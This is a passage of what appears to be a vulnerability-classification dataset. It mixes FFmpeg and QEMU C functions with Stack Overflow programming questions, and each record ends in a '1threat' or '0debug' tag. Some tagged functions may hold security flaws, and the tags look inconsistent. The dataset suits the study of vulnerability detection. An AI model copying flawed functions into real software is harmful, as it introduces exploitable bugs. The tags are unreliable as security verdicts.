6); bands[i].scf_idx[ch][j + 1] = ((bands[i].scf_idx[ch][j] + t - 25) & 0x7F) - 6; } } } } for(i = 0, off = 0; i < maxband; i++, off += SAMPLES_PER_BAND){ for(ch = 0; ch < 2; ch++){ res = bands[i].res[ch]; switch(res){ case -1: for(j = 0; j < SAMPLES_PER_BAND; j++) c->Q[ch][off + j] = (av_lfg_get(&c->rnd) & 0x3FC) - 510; break; case 0: break; case 1: for(j = 0; j < SAMPLES_PER_BAND; j += SAMPLES_PER_BAND / 2){ cnt = get_vlc2(gb, q1_vlc.table, MPC8_Q1_BITS, 2); t = mpc8_get_mask(gb, 18, cnt); for(k = 0; k < SAMPLES_PER_BAND / 2; k++, t <<= 1) c->Q[ch][off + j + k] = (t & 0x20000) ? (get_bits1(gb) << 1) - 1 : 0; } break; case 2: cnt = 6; for(j = 0; j < SAMPLES_PER_BAND; j += 3){ t = get_vlc2(gb, q2_vlc[cnt > 3].table, MPC8_Q2_BITS, 2); c->Q[ch][off + j + 0] = mpc8_idx50[t]; c->Q[ch][off + j + 1] = mpc8_idx51[t]; c->Q[ch][off + j + 2] = mpc8_idx52[t]; cnt = (cnt >> 1) + mpc8_huffq2[t]; } break; case 3: case 4: for(j = 0; j < SAMPLES_PER_BAND; j += 2){ t = get_vlc2(gb, q3_vlc[res - 3].table, MPC8_Q3_BITS, 2) + q3_offsets[res - 3]; c->Q[ch][off + j + 1] = t >> 4; c->Q[ch][off + j + 0] = (t & 8) ? (t & 0xF) - 16 : (t & 0xF); } break; case 5: case 6: case 7: case 8: cnt = 2 * mpc8_thres[res]; for(j = 0; j < SAMPLES_PER_BAND; j++){ t = get_vlc2(gb, quant_vlc[res - 5][cnt > mpc8_thres[res]].table, quant_vlc[res - 5][cnt > mpc8_thres[res]].bits, 2) + quant_offsets[res - 5]; c->Q[ch][off + j] = t; cnt = (cnt >> 1) + FFABS(c->Q[ch][off + j]); } break; default: for(j = 0; j < SAMPLES_PER_BAND; j++){ c->Q[ch][off + j] = get_vlc2(gb, q9up_vlc.table, MPC8_Q9UP_BITS, 2); if(res != 9){ c->Q[ch][off + j] <<= res - 9; c->Q[ch][off + j] |= get_bits(gb, res - 9); } c->Q[ch][off + j] -= (1 << (res - 2)) - 1; } } } } ff_mpc_dequantize_and_synth(c, maxband, data, avctx->channels); c->cur_frame++; c->last_bits_used = get_bits_count(gb); if(c->cur_frame >= c->frames) c->cur_frame = 0; *data_size = out_size; return c->cur_frame ? c->last_bits_used >> 3 : buf_size; }
1threat
static void e1000e_device_init(QPCIBus *bus, e1000e_device *d) { uint32_t val; d->pci_dev = e1000e_device_find(bus); qpci_device_enable(d->pci_dev); d->mac_regs = qpci_iomap(d->pci_dev, 0, NULL); g_assert_nonnull(d->mac_regs); val = e1000e_macreg_read(d, E1000E_CTRL); e1000e_macreg_write(d, E1000E_CTRL, val | E1000E_CTRL_RESET); qpci_msix_enable(d->pci_dev); e1000e_macreg_write(d, E1000E_IVAR, E1000E_IVAR_TEST_CFG); val = e1000e_macreg_read(d, E1000E_STATUS); g_assert_cmphex(val & (E1000E_STATUS_LU | E1000E_STATUS_ASDV1000), ==, E1000E_STATUS_LU | E1000E_STATUS_ASDV1000); e1000e_macreg_write(d, E1000E_RCTL, 0); e1000e_macreg_write(d, E1000E_TCTL, 0); val = e1000e_macreg_read(d, E1000E_CTRL_EXT); e1000e_macreg_write(d, E1000E_CTRL_EXT, val | E1000E_CTRL_EXT_DRV_LOAD | E1000E_CTRL_EXT_TXLSFLOW); d->tx_ring = guest_alloc(test_alloc, E1000E_RING_LEN); g_assert(d->tx_ring != 0); e1000e_macreg_write(d, E1000E_TDBAL, (uint32_t) d->tx_ring); e1000e_macreg_write(d, E1000E_TDBAH, (uint32_t) (d->tx_ring >> 32)); e1000e_macreg_write(d, E1000E_TDLEN, E1000E_RING_LEN); e1000e_macreg_write(d, E1000E_TDT, 0); e1000e_macreg_write(d, E1000E_TDH, 0); e1000e_macreg_write(d, E1000E_TCTL, E1000E_TCTL_EN); d->rx_ring = guest_alloc(test_alloc, E1000E_RING_LEN); g_assert(d->rx_ring != 0); e1000e_macreg_write(d, E1000E_RDBAL, (uint32_t)d->rx_ring); e1000e_macreg_write(d, E1000E_RDBAH, (uint32_t)(d->rx_ring >> 32)); e1000e_macreg_write(d, E1000E_RDLEN, E1000E_RING_LEN); e1000e_macreg_write(d, E1000E_RDT, 0); e1000e_macreg_write(d, E1000E_RDH, 0); e1000e_macreg_write(d, E1000E_RFCTL, E1000E_RFCTL_EXTEN); e1000e_macreg_write(d, E1000E_RCTL, E1000E_RCTL_EN | E1000E_RCTL_UPE | E1000E_RCTL_MPE); e1000e_macreg_write(d, E1000E_IMS, 0xFFFFFFFF); }
1threat
How do I replace while loops with a functional programming alternative without tail call optimization? : <p>I am experimenting with a more functional style in my JavaScript; therefore, I have replaced for loops with utility functions such as map and reduce. However, I have not found a functional replacement for while loops since tail call optimization is generally not available for JavaScript. (From what I understand ES6 prevents tail calls from overflowing the stack but does not optimize their performance.)</p> <p>I explain what I have tried below, but the TLDR is: If I don't have tail call optimization, what is the functional way to implement while loops?</p> <p>What I have tried:</p> <p>Creating a "while" utility function:</p> <pre><code>function while(func, test, data) { const newData = func(data); if(test(newData)) { return newData; } else { return while(func, test, newData); } } </code></pre> <p>Since tail call optimization isn't available I could rewrite this as:</p> <pre><code>function while(func, test, data) { let newData = *copy the data somehow* while(test(newData)) { newData = func(newData); } return newData; } </code></pre> <p>However at this point it feels like I have made my code more complicated/confusing for anyone else who uses it, since I have to lug around a custom utility function. The only practical advantage that I see is that it forces me to make the loop pure; but it seems like it would be more straightforward to just use a regular while loop and make sure that I keep everything pure.</p> <p>I also tried to figure out a way to create a generator function that mimics the effects of recursion/looping and then iterate over it using a utility function like find or reduce. However, I haven't figured out an readable way to do that yet.</p> <p>Finally, replacing for loops with utility functions makes it more apparent what I am trying to accomplish (e.g. do a thing to each element, check if each element passes a test, etc.). However, it seems to me that a while loop already expresses what I am trying to accomplish (e.g. iterate until we find a prime number, iterate until the answer is sufficiently optimized, etc.).</p> <p>So after all this, my overall question is: If I need a while loop, I am programming in a functional style, and I don't have access to tail call optimization, then what is the best strategy.</p>
0debug
static int jp2_find_codestream(J2kDecoderContext *s) { uint32_t atom_size; int found_codestream = 0, search_range = 10; s->buf += 12; while(!found_codestream && search_range && s->buf_end - s->buf >= 8) { atom_size = AV_RB32(s->buf); if(AV_RB32(s->buf + 4) == JP2_CODESTREAM) { found_codestream = 1; s->buf += 8; } else { if (s->buf_end - s->buf < atom_size) return 0; s->buf += atom_size; search_range--; } } if(found_codestream) return 1; return 0; }
1threat
How to create Solution file with dotnet core CLI : <p>I cannot find a way to create a new solution file using the dotnet core CLI commands described in <a href="https://docs.microsoft.com/en-us/dotnet/articles/core/tools/dotnet-sln" rel="noreferrer">https://docs.microsoft.com/en-us/dotnet/articles/core/tools/dotnet-sln</a>.</p> <p>I ran the commands: </p> <ul> <li><code>dotnet new web -n webtrain</code></li> <li><code>dotnet new classlib -n core</code></li> </ul> <p>after that, the projects were created correctly, but now I want to create a solution file to group them all, but I cannot find the right command to do that. Anyone knows how to do that?</p>
0debug
Cannot resolve required android.app.fragment AndroidStudio : I have AppointmentView Class and a FragmentMap Class. I want to insert the fragmentinto my AppointmentView activity using FragmentManager and FragmentTransaction, but i have one error that i dont know how to fix. [Image that shows the error ][1] [1]: https://imgur.com/FT1PVMe Can anyone tell me what am i doing wrong. PS: Below you have the source code for AppointmentView and FragmentMap import android.app.Fragment; import android.app.FragmentManager; import android.app.FragmentTransaction; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.design.widget.FloatingActionButton; import android.support.design.widget.Snackbar; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.util.AttributeSet; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.TextView; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.MapFragment; import com.google.android.gms.maps.OnMapReadyCallback; import com.google.android.gms.maps.SupportMapFragment; import org.w3c.dom.Text; public class AppointmentView extends AppCompatActivity implements OnMapReadyCallback { Button btn; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_appointment_view); FragmentManager fragmentManager = getFragmentManager(); FragmentTransaction fragmentTransaction = fragmentManager.beginTransaction(); FragmentMap fragmentMap = new FragmentMap(); fragmentTransaction.add(R.id.fragment_container, fragmentMap, "FragmentiDy"); fragmentTransaction.commit(); Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar); setSupportActionBar(toolbar); TextView text=(TextView)findViewById(R.id.infoFirstname); TextView txtlastname=(TextView)findViewById(R.id.infoLastname); TextView txtAddress=(TextView)findViewById(R.id.infoAddress); Intent i=getIntent(); String firstname=i.getStringExtra("Name"); String lastname=i.getStringExtra("Lastname"); String address=i.getStringExtra("Address"); text.setText(firstname); txtlastname.setText(lastname); txtAddress.setText(address); btn=(Button)findViewById(R.id.btn); btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent=new Intent(AppointmentView.this,Feedback.class); startActivity(intent); } }); FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab); fab.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { //Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG) // .setAction("Action", null).show(); Intent i=new Intent(AppointmentView.this,MapActivity.class); startActivity(i); } }); } @Override public void onMapReady(GoogleMap googleMap) { }} import android.content.Context; import android.content.pm.PackageManager; import android.location.Address; import android.location.Geocoder; import android.location.Location; import android.os.Build; import android.os.Bundle; import android.app.Fragment; import android.support.annotation.NonNull; import android.support.annotation.Nullable; import android.support.v4.app.ActivityCompat; import android.support.v4.app.FragmentActivity; import android.util.AttributeSet; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.LinearLayout; import android.widget.Toast; import com.google.android.gms.common.ConnectionResult; import com.google.android.gms.common.api.GoogleApiClient; import com.google.android.gms.location.LocationListener; import com.google.android.gms.location.LocationRequest; import com.google.android.gms.location.LocationServices; import com.google.android.gms.maps.CameraUpdate; import com.google.android.gms.maps.CameraUpdateFactory; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.MapView; import com.google.android.gms.maps.MapsInitializer; import com.google.android.gms.maps.OnMapReadyCallback; import com.google.android.gms.maps.SupportMapFragment; import com.google.android.gms.maps.UiSettings; import com.google.android.gms.maps.model.CameraPosition; import com.google.android.gms.maps.model.LatLng; import com.google.android.gms.maps.model.MarkerOptions; import java.io.IOException; import java.util.List; /** * A simple {@link Fragment} subclass. */ public class FragmentMap extends FragmentActivity implements OnMapReadyCallback, GoogleApiClient.ConnectionCallbacks, GoogleApiClient.OnConnectionFailedListener, LocationListener { GoogleMap mMap; UiSettings mUiSettings; GoogleApiClient mGoogleApiClient; MapView mMapView; View mView; public FragmentMap() { // Required empty public constructor } @Override public View onCreateView(View parent, String name, Context context, AttributeSet attrs) { mView = super.onCreateView(parent, name, context, attrs); return mView; } @Override public void onMapReady(GoogleMap googleMap) { mMap = googleMap; /* // Add a marker in Sydney, Australia, and move the camera. LatLng sydney = new LatLng(-34, 151); mMap.getUiSettings().setZoomControlsEnabled(true); mMap.getUiSettings().setCompassEnabled(true); mMap.getUiSettings().setMyLocationButtonEnabled(true); mMap.getUiSettings().setIndoorLevelPickerEnabled(true); mMap.addMarker(new MarkerOptions().position(getLocationFromAddress(getApplicationContext(),"Gnjilane")).title("Marker in Sydney")); mMap.moveCamera(CameraUpdateFactory.newLatLng(getLocationFromAddress(getApplicationContext(),"Gnjilane"))); mMap.animateCamera(CameraUpdateFactory.zoomTo(12.0f)); */ mGoogleApiClient = new GoogleApiClient.Builder(this) .addApi(LocationServices.API) .addConnectionCallbacks(this) .addOnConnectionFailedListener(this) .build(); mGoogleApiClient.connect(); } public LatLng getLocationFromAddress(Context context, String strAddress) { Geocoder coder = new Geocoder(context); List<Address> address; LatLng p1 = null; try { // May throw an IOException address = coder.getFromLocationName(strAddress, 5); if (address == null) { return null; } Address location = address.get(0); location.getLatitude(); location.getLongitude(); p1 = new LatLng(location.getLatitude(), location.getLongitude()); } catch (IOException ex) { ex.printStackTrace(); } return p1; } LocationRequest mLocationRequest; @Override public void onConnected(@Nullable Bundle bundle) { mLocationRequest = LocationRequest.create(); mLocationRequest.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY); mLocationRequest.setInterval(1000); if (ActivityCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) if (ActivityCompat.checkSelfPermission(this, android.Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) { // TODO: Consider calling // ActivityCompat#requestPermissions // here to request the missing permissions, and then overriding // public void onRequestPermissionsResult(int requestCode, String[] permissions, // int[] grantResults) // to handle the case where the user grants the permission. See the documentation // for ActivityCompat#requestPermissions for more details. return; } LocationServices.FusedLocationApi.requestLocationUpdates(mGoogleApiClient, mLocationRequest, this); } @Override public void onConnectionSuspended(int i) { } @Override public void onConnectionFailed(@NonNull ConnectionResult connectionResult) { } @Override public void onLocationChanged(Location location) { if(location==null) { Toast.makeText(this, "Cant get current location", Toast.LENGTH_LONG).show(); } else { LatLng ll = new LatLng(location.getLatitude(), location.getLongitude()); CameraUpdate update = CameraUpdateFactory.newLatLngZoom(ll,15); mMap.animateCamera(update); } }}
0debug
void parse_numa_opts(MachineClass *mc) { int i; if (qemu_opts_foreach(qemu_find_opts("numa"), parse_numa, NULL, NULL)) { exit(1); } assert(max_numa_nodeid <= MAX_NODES); for (i = max_numa_nodeid - 1; i >= 0; i--) { if (!numa_info[i].present) { error_report("numa: Node ID missing: %d", i); exit(1); } } assert(nb_numa_nodes == max_numa_nodeid); if (nb_numa_nodes > 0) { uint64_t numa_total; if (nb_numa_nodes > MAX_NODES) { nb_numa_nodes = MAX_NODES; } for (i = 0; i < nb_numa_nodes; i++) { if (numa_info[i].node_mem != 0) { break; } } if (i == nb_numa_nodes) { uint64_t usedmem = 0; for (i = 0; i < nb_numa_nodes - 1; i++) { numa_info[i].node_mem = (ram_size / nb_numa_nodes) & ~((1 << 23UL) - 1); usedmem += numa_info[i].node_mem; } numa_info[i].node_mem = ram_size - usedmem; } numa_total = 0; for (i = 0; i < nb_numa_nodes; i++) { numa_total += numa_info[i].node_mem; } if (numa_total != ram_size) { error_report("total memory for NUMA nodes (0x%" PRIx64 ")" " should equal RAM size (0x" RAM_ADDR_FMT ")", numa_total, ram_size); exit(1); } for (i = 0; i < nb_numa_nodes; i++) { QLIST_INIT(&numa_info[i].addr); } numa_set_mem_ranges(); for (i = 0; i < nb_numa_nodes; i++) { if (!bitmap_empty(numa_info[i].node_cpu, MAX_CPUMASK_BITS)) { break; } } if (i == nb_numa_nodes) { for (i = 0; i < max_cpus; i++) { unsigned node_id = i % nb_numa_nodes; if (mc->cpu_index_to_socket_id) { node_id = mc->cpu_index_to_socket_id(i) % nb_numa_nodes; } set_bit(i, numa_info[node_id].node_cpu); } } validate_numa_cpus(); } else { numa_set_mem_node_id(0, ram_size, 0); } }
1threat
static void mv88w8618_eth_init(NICInfo *nd, uint32_t base, qemu_irq irq) { mv88w8618_eth_state *s; int iomemtype; qemu_check_nic_model(nd, "mv88w8618"); s = qemu_mallocz(sizeof(mv88w8618_eth_state)); s->irq = irq; s->vc = qemu_new_vlan_client(nd->vlan, nd->model, nd->name, eth_receive, eth_can_receive, s); iomemtype = cpu_register_io_memory(0, mv88w8618_eth_readfn, mv88w8618_eth_writefn, s); cpu_register_physical_memory(base, MP_ETH_SIZE, iomemtype); }
1threat
void qmp_drive_mirror(DriveMirror *arg, Error **errp) { BlockDriverState *bs; BlockDriverState *source, *target_bs; AioContext *aio_context; BlockMirrorBackingMode backing_mode; Error *local_err = NULL; QDict *options = NULL; int flags; int64_t size; const char *format = arg->format; bs = qmp_get_root_bs(arg->device, errp); if (!bs) { return; } aio_context = bdrv_get_aio_context(bs); aio_context_acquire(aio_context); if (!arg->has_mode) { arg->mode = NEW_IMAGE_MODE_ABSOLUTE_PATHS; } if (!arg->has_format) { format = (arg->mode == NEW_IMAGE_MODE_EXISTING ? NULL : bs->drv->format_name); } flags = bs->open_flags | BDRV_O_RDWR; source = backing_bs(bs); if (!source && arg->sync == MIRROR_SYNC_MODE_TOP) { arg->sync = MIRROR_SYNC_MODE_FULL; } if (arg->sync == MIRROR_SYNC_MODE_NONE) { source = bs; } size = bdrv_getlength(bs); if (size < 0) { error_setg_errno(errp, -size, "bdrv_getlength failed"); goto out; } if (arg->has_replaces) { BlockDriverState *to_replace_bs; AioContext *replace_aio_context; int64_t replace_size; if (!arg->has_node_name) { error_setg(errp, "a node-name must be provided when replacing a" " named node of the graph"); goto out; } to_replace_bs = check_to_replace_node(bs, arg->replaces, &local_err); if (!to_replace_bs) { error_propagate(errp, local_err); goto out; } replace_aio_context = bdrv_get_aio_context(to_replace_bs); aio_context_acquire(replace_aio_context); replace_size = bdrv_getlength(to_replace_bs); aio_context_release(replace_aio_context); if (size != replace_size) { error_setg(errp, "cannot replace image with a mirror image of " "different size"); goto out; } } if (arg->mode == NEW_IMAGE_MODE_ABSOLUTE_PATHS) { backing_mode = MIRROR_SOURCE_BACKING_CHAIN; } else { backing_mode = MIRROR_OPEN_BACKING_CHAIN; } if ((arg->sync == MIRROR_SYNC_MODE_FULL || !source) && arg->mode != NEW_IMAGE_MODE_EXISTING) { assert(format); bdrv_img_create(arg->target, format, NULL, NULL, NULL, size, flags, false, &local_err); } else { switch (arg->mode) { case NEW_IMAGE_MODE_EXISTING: break; case NEW_IMAGE_MODE_ABSOLUTE_PATHS: bdrv_img_create(arg->target, format, source->filename, source->drv->format_name, NULL, size, flags, false, &local_err); break; default: abort(); } } if (local_err) { error_propagate(errp, local_err); goto out; } options = qdict_new(); if (arg->has_node_name) { qdict_put_str(options, "node-name", arg->node_name); } if (format) { qdict_put_str(options, "driver", format); } target_bs = bdrv_open(arg->target, NULL, options, flags | BDRV_O_NO_BACKING, errp); if (!target_bs) { goto out; } bdrv_set_aio_context(target_bs, aio_context); blockdev_mirror_common(arg->has_job_id ? arg->job_id : NULL, bs, target_bs, arg->has_replaces, arg->replaces, arg->sync, backing_mode, arg->has_speed, arg->speed, arg->has_granularity, arg->granularity, arg->has_buf_size, arg->buf_size, arg->has_on_source_error, arg->on_source_error, arg->has_on_target_error, arg->on_target_error, arg->has_unmap, arg->unmap, false, NULL, &local_err); bdrv_unref(target_bs); error_propagate(errp, local_err); out: aio_context_release(aio_context); }
1threat
static int do_quit(Monitor *mon, const QDict *qdict, QObject **ret_data) { exit(0); return 0; }
1threat
pass arguments command line in Perl : I have written the Perl code and trying to pass the commandline arguments and not getting expected out put here is my code my ($buildno, $appname, $ver) = @ARGV; print values \@ARGV; $Artifact_name="flora-$appname-$ver"; mkdir "$target_dir/$Artifact_name";' When i run the Perl script 'perl scripts\perl\test.pl "MobileApp", %ver% after execute the Perl i am getting the following output 'flora-MobileApp-' And the log message is showing 'Use of uninitialized value $ver in concatenation (.) or string at Jscripts\perl\test.pl line 31 (#3)'. %ver% is the environment variable and value is 1.0.1.23 I am expecting the output "flora-MobileApp-1.0.1.23". please can anyone advise on the same.
0debug
void qemuio_add_command(const cmdinfo_t *ci) { cmdtab = g_realloc(cmdtab, ++ncmds * sizeof(*cmdtab)); cmdtab[ncmds - 1] = *ci; qsort(cmdtab, ncmds, sizeof(*cmdtab), compare_cmdname); }
1threat
static av_cold int decode_init_thread_copy(AVCodecContext *avctx) { HYuvContext *s = avctx->priv_data; int i, ret; if ((ret = ff_huffyuv_alloc_temp(s)) < 0) { ff_huffyuv_common_end(s); return ret; } for (i = 0; i < 8; i++) s->vlc[i].table = NULL; if (s->version >= 2) { if ((ret = read_huffman_tables(s, avctx->extradata + 4, avctx->extradata_size)) < 0) return ret; } else { if ((ret = read_old_huffman_tables(s)) < 0) return ret; } return 0; }
1threat
Git: pull vs. fetch→pull : <p>I've never been able to get a clear answer to this question.</p> <p>For a long time, and at the advisement of a coworker, I've been doing this:</p> <pre><code>git fetch origin git pull origin &lt;mybranch&gt; </code></pre> <p>I've been told (and have seen) that <code>git pull</code> does not behave the same way if you do not first do <code>git fetch</code>. You don't get any remote changes.</p> <p>But all I see online is that <code>git pull</code> is the equivalent of <code>git fetch</code> followed by <code>git merge</code>. If that were true, <code>git pull</code> would include <code>git fetch</code>, and I wouldn't need an explicit <code>git fetch</code> first, right? But that doesn't seem to be the case.</p> <p>So what I'm looking for is some explicit documentation that describes the observed behavior of <code>git pull</code>. (I know I'll probably also get lots of advice to switch to <code>git fetch</code> → <code>git merge</code>; that's fine too, but I'm really interested in <code>git pull</code>.)</p>
0debug
int main(int argc, char **argv, char **envp) { struct target_pt_regs regs1, *regs = &regs1; struct image_info info1, *info = &info1; struct linux_binprm bprm; TaskState *ts; CPUArchState *env; CPUState *cpu; int optind; char **target_environ, **wrk; char **target_argv; int target_argc; int i; int ret; int execfd; module_call_init(MODULE_INIT_TRACE); qemu_init_cpu_list(); module_call_init(MODULE_INIT_QOM); if ((envlist = envlist_create()) == NULL) { (void) fprintf(stderr, "Unable to allocate envlist\n"); exit(EXIT_FAILURE); } for (wrk = environ; *wrk != NULL; wrk++) { (void) envlist_setenv(envlist, *wrk); } { struct rlimit lim; if (getrlimit(RLIMIT_STACK, &lim) == 0 && lim.rlim_cur != RLIM_INFINITY && lim.rlim_cur == (target_long)lim.rlim_cur) { guest_stack_size = lim.rlim_cur; } } cpu_model = NULL; srand(time(NULL)); qemu_add_opts(&qemu_trace_opts); optind = parse_args(argc, argv); if (!trace_init_backends()) { exit(1); } trace_init_file(trace_file); memset(regs, 0, sizeof(struct target_pt_regs)); memset(info, 0, sizeof(struct image_info)); memset(&bprm, 0, sizeof (bprm)); init_paths(interp_prefix); init_qemu_uname_release(); if (cpu_model == NULL) { #if defined(TARGET_I386) #ifdef TARGET_X86_64 cpu_model = "qemu64"; #else cpu_model = "qemu32"; #endif #elif defined(TARGET_ARM) cpu_model = "any"; #elif defined(TARGET_UNICORE32) cpu_model = "any"; #elif defined(TARGET_M68K) cpu_model = "any"; #elif defined(TARGET_SPARC) #ifdef TARGET_SPARC64 cpu_model = "TI UltraSparc II"; #else cpu_model = "Fujitsu MB86904"; #endif #elif defined(TARGET_MIPS) #if defined(TARGET_ABI_MIPSN32) || defined(TARGET_ABI_MIPSN64) cpu_model = "5KEf"; #else cpu_model = "24Kf"; #endif #elif defined TARGET_OPENRISC cpu_model = "or1200"; #elif defined(TARGET_PPC) # ifdef TARGET_PPC64 cpu_model = "POWER8"; # else cpu_model = "750"; # endif #elif defined TARGET_SH4 cpu_model = TYPE_SH7785_CPU; #elif defined TARGET_S390X cpu_model = "qemu"; #else cpu_model = "any"; #endif } tcg_exec_init(0); cpu = cpu_init(cpu_model); if (!cpu) { fprintf(stderr, "Unable to find CPU definition\n"); exit(EXIT_FAILURE); } env = cpu->env_ptr; cpu_reset(cpu); thread_cpu = cpu; if (getenv("QEMU_STRACE")) { do_strace = 1; } if (getenv("QEMU_RAND_SEED")) { handle_arg_randseed(getenv("QEMU_RAND_SEED")); } target_environ = envlist_to_environ(envlist, NULL); envlist_free(envlist); guest_base = HOST_PAGE_ALIGN(guest_base); if (reserved_va || have_guest_base) { guest_base = init_guest_space(guest_base, reserved_va, 0, have_guest_base); if (guest_base == (unsigned long)-1) { fprintf(stderr, "Unable to reserve 0x%lx bytes of virtual address " "space for use as guest address space (check your virtual " "memory ulimit setting or reserve less using -R option)\n", reserved_va); exit(EXIT_FAILURE); } if (reserved_va) { mmap_next_start = reserved_va; } } { FILE *fp; if ((fp = fopen("/proc/sys/vm/mmap_min_addr", "r")) != NULL) { unsigned long tmp; if (fscanf(fp, "%lu", &tmp) == 1) { mmap_min_addr = tmp; qemu_log_mask(CPU_LOG_PAGE, "host mmap_min_addr=0x%lx\n", mmap_min_addr); } fclose(fp); } } target_argc = argc - optind; target_argv = calloc(target_argc + 1, sizeof (char *)); if (target_argv == NULL) { (void) fprintf(stderr, "Unable to allocate memory for target_argv\n"); exit(EXIT_FAILURE); } i = 0; if (argv0 != NULL) { target_argv[i++] = strdup(argv0); } for (; i < target_argc; i++) { target_argv[i] = strdup(argv[optind + i]); } target_argv[target_argc] = NULL; ts = g_new0(TaskState, 1); init_task_state(ts); ts->info = info; ts->bprm = &bprm; cpu->opaque = ts; task_settid(ts); execfd = qemu_getauxval(AT_EXECFD); if (execfd == 0) { execfd = open(filename, O_RDONLY); if (execfd < 0) { printf("Error while loading %s: %s\n", filename, strerror(errno)); _exit(EXIT_FAILURE); } } ret = loader_exec(execfd, filename, target_argv, target_environ, regs, info, &bprm); if (ret != 0) { printf("Error while loading %s: %s\n", filename, strerror(-ret)); _exit(EXIT_FAILURE); } for (wrk = target_environ; *wrk; wrk++) { free(*wrk); } free(target_environ); if (qemu_loglevel_mask(CPU_LOG_PAGE)) { qemu_log("guest_base 0x%lx\n", guest_base); log_page_dump(); qemu_log("start_brk 0x" TARGET_ABI_FMT_lx "\n", info->start_brk); qemu_log("end_code 0x" TARGET_ABI_FMT_lx "\n", info->end_code); qemu_log("start_code 0x" TARGET_ABI_FMT_lx "\n", info->start_code); qemu_log("start_data 0x" TARGET_ABI_FMT_lx "\n", info->start_data); qemu_log("end_data 0x" TARGET_ABI_FMT_lx "\n", info->end_data); qemu_log("start_stack 0x" TARGET_ABI_FMT_lx "\n", info->start_stack); qemu_log("brk 0x" TARGET_ABI_FMT_lx "\n", info->brk); qemu_log("entry 0x" TARGET_ABI_FMT_lx "\n", info->entry); qemu_log("argv_start 0x" TARGET_ABI_FMT_lx "\n", info->arg_start); qemu_log("env_start 0x" TARGET_ABI_FMT_lx "\n", info->arg_end + (abi_ulong)sizeof(abi_ulong)); qemu_log("auxv_start 0x" TARGET_ABI_FMT_lx "\n", info->saved_auxv); } target_set_brk(info->brk); syscall_init(); signal_init(); tcg_prologue_init(&tcg_ctx); #if defined(TARGET_I386) env->cr[0] = CR0_PG_MASK | CR0_WP_MASK | CR0_PE_MASK; env->hflags |= HF_PE_MASK | HF_CPL_MASK; if (env->features[FEAT_1_EDX] & CPUID_SSE) { env->cr[4] |= CR4_OSFXSR_MASK; env->hflags |= HF_OSFXSR_MASK; } #ifndef TARGET_ABI32 if (!(env->features[FEAT_8000_0001_EDX] & CPUID_EXT2_LM)) { fprintf(stderr, "The selected x86 CPU does not support 64 bit mode\n"); exit(EXIT_FAILURE); } env->cr[4] |= CR4_PAE_MASK; env->efer |= MSR_EFER_LMA | MSR_EFER_LME; env->hflags |= HF_LMA_MASK; #endif env->eflags |= IF_MASK; #ifndef TARGET_ABI32 env->regs[R_EAX] = regs->rax; env->regs[R_EBX] = regs->rbx; env->regs[R_ECX] = regs->rcx; env->regs[R_EDX] = regs->rdx; env->regs[R_ESI] = regs->rsi; env->regs[R_EDI] = regs->rdi; env->regs[R_EBP] = regs->rbp; env->regs[R_ESP] = regs->rsp; env->eip = regs->rip; #else env->regs[R_EAX] = regs->eax; env->regs[R_EBX] = regs->ebx; env->regs[R_ECX] = regs->ecx; env->regs[R_EDX] = regs->edx; env->regs[R_ESI] = regs->esi; env->regs[R_EDI] = regs->edi; env->regs[R_EBP] = regs->ebp; env->regs[R_ESP] = regs->esp; env->eip = regs->eip; #endif #ifndef TARGET_ABI32 env->idt.limit = 511; #else env->idt.limit = 255; #endif env->idt.base = target_mmap(0, sizeof(uint64_t) * (env->idt.limit + 1), PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); idt_table = g2h(env->idt.base); set_idt(0, 0); set_idt(1, 0); set_idt(2, 0); set_idt(3, 3); set_idt(4, 3); set_idt(5, 0); set_idt(6, 0); set_idt(7, 0); set_idt(8, 0); set_idt(9, 0); set_idt(10, 0); set_idt(11, 0); set_idt(12, 0); set_idt(13, 0); set_idt(14, 0); set_idt(15, 0); set_idt(16, 0); set_idt(17, 0); set_idt(18, 0); set_idt(19, 0); set_idt(0x80, 3); { uint64_t *gdt_table; env->gdt.base = target_mmap(0, sizeof(uint64_t) * TARGET_GDT_ENTRIES, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); env->gdt.limit = sizeof(uint64_t) * TARGET_GDT_ENTRIES - 1; gdt_table = g2h(env->gdt.base); #ifdef TARGET_ABI32 write_dt(&gdt_table[__USER_CS >> 3], 0, 0xfffff, DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | DESC_S_MASK | (3 << DESC_DPL_SHIFT) | (0xa << DESC_TYPE_SHIFT)); #else write_dt(&gdt_table[__USER_CS >> 3], 0, 0xfffff, DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | DESC_S_MASK | DESC_L_MASK | (3 << DESC_DPL_SHIFT) | (0xa << DESC_TYPE_SHIFT)); #endif write_dt(&gdt_table[__USER_DS >> 3], 0, 0xfffff, DESC_G_MASK | DESC_B_MASK | DESC_P_MASK | DESC_S_MASK | (3 << DESC_DPL_SHIFT) | (0x2 << DESC_TYPE_SHIFT)); } cpu_x86_load_seg(env, R_CS, __USER_CS); cpu_x86_load_seg(env, R_SS, __USER_DS); #ifdef TARGET_ABI32 cpu_x86_load_seg(env, R_DS, __USER_DS); cpu_x86_load_seg(env, R_ES, __USER_DS); cpu_x86_load_seg(env, R_FS, __USER_DS); cpu_x86_load_seg(env, R_GS, __USER_DS); env->segs[R_FS].selector = 0; #else cpu_x86_load_seg(env, R_DS, 0); cpu_x86_load_seg(env, R_ES, 0); cpu_x86_load_seg(env, R_FS, 